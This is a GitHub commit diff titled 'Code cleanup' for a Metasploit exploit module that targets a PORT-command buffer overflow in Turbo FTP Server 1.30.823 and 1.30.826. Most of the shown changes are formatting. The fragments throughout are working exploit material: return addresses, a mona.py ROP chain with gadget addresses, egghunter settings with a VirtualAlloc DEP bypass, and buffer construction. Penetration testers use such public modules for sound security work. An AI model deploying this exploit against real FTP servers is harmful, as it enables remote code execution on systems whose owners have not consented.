Skip to content

Commit 72d70b6

Browse files
committed
Code cleanup
1 parent 6bccfcd commit 72d70b6

File tree

1 file changed

+26
-35
lines changed

1 file changed

+26
-35
lines changed

modules/exploits/windows/ftp/turboftp_port.rb

Lines changed: 26 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
#
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -24,49 +20,45 @@ def initialize(info = {})
2420
This module exploits the buffer overflow found in the PORT
2521
command in Turbo FTP Server 1.30.823 & 1.30.826.
2622
},
27-
'Author' => [
28-
'Zhao Liang', #Initial Descovery
29-
'Lincoln', #Metasploit
30-
'corelanc0d3r', #Metasploit
31-
'thelightcosine',#Metasploit
32-
],
23+
'Author' =>
24+
[
25+
'Zhao Liang', #Initial Descovery
26+
'Lincoln', #Metasploit
27+
'corelanc0d3r', #Metasploit
28+
'thelightcosine' #Metasploit
29+
],
3330
'License' => MSF_LICENSE,
34-
'Version' => '$',
3531
'Platform' => [ 'win' ],
3632
'References' =>
3733
[
38-
[ 'OSVDB', '85887' ],
34+
[ 'OSVDB', '85887' ]
3935
],
40-
'Payload' =>
41-
{
42-
'BadChars' => "\x00",
43-
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
44-
'EncoderOptions' =>
45-
{
46-
'BufferRegister' => 'EDI',
47-
}
48-
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00",
39+
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
40+
'EncoderOptions' => { 'BufferRegister' => 'EDI' }
4941
},
50-
'Targets' =>
42+
'Targets' =>
5143
[
5244
[ 'Automatic', {} ],
5345
['Windows Universal TurboFtp 1.30.823',
5446
{
55-
'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe]
56-
'ver' => 823
47+
'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe]
48+
'ver' => 823
5749
},
5850

5951
],
6052
[ 'Windows Universal TurboFtp 1.30.826',
6153
{
62-
'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
63-
'ver' => 826
54+
'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
55+
'ver' => 826
6456
},
6557
],
6658
],
6759

6860
'DisclosureDate' => 'Oct 03 2012',
69-
'DefaultTarget' => 1))
61+
'DefaultTarget' => 0))
7062
end
7163

7264
def check
@@ -82,7 +74,6 @@ def check
8274

8375

8476
def create_rop_chain(ver)
85-
8677
# rop chain generated with mona.py - www.corelan.be
8778
if ver == 823
8879
rop_gadgets =
@@ -93,7 +84,7 @@ def create_rop_chain(ver)
9384
0x00423b95, # XCHG EDX,EDI # RETN [tbssvc.exe]
9485
0x00423a27, # XCHG ESI,EDI # RETN [tbssvc.exe]
9586
0x005d1c99, # POP EBP # RETN [tbssvc.exe]
96-
0x004cad5d , # & jmp esp [tbssvc.exe]
87+
0x004cad5d, # & jmp esp [tbssvc.exe]
9788
0x004ab16b, # POP EBX # RETN [tbssvc.exe]
9889
0x00000001, # 0x00000001-> ebx
9990
0x005ef7f6, # POP EDX # RETN [tbssvc.exe]
@@ -135,7 +126,6 @@ def create_rop_chain(ver)
135126
end
136127

137128
def exploit
138-
139129
my_target = target
140130
if my_target.name == 'Automatic'
141131
print_status("Automatically detecting the target")
@@ -162,11 +152,12 @@ def exploit
162152

163153
eggoptions =
164154
{
165-
:checksum => true,
166-
:eggtag => 'w00t',
167-
:depmethod => 'virtualalloc',
168-
:depreg => 'esi'
155+
:checksum => true,
156+
:eggtag => 'w00t',
157+
:depmethod => 'virtualalloc',
158+
:depreg => 'esi'
169159
}
160+
170161
badchars = "\x00"
171162
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
172163

@@ -182,7 +173,7 @@ def exploit
182173

183174
buf1 = rand_text_alpha(2012)
184175
buf1 << egg
185-
buf1 << rand_text_alpha(100)
176+
buf1 << rand_text_alpha(100)
186177

187178
buf2 = rand_text_alpha(4).unpack('C*').join(',')
188179
buf2 << ","

0 commit comments

Comments
 (0)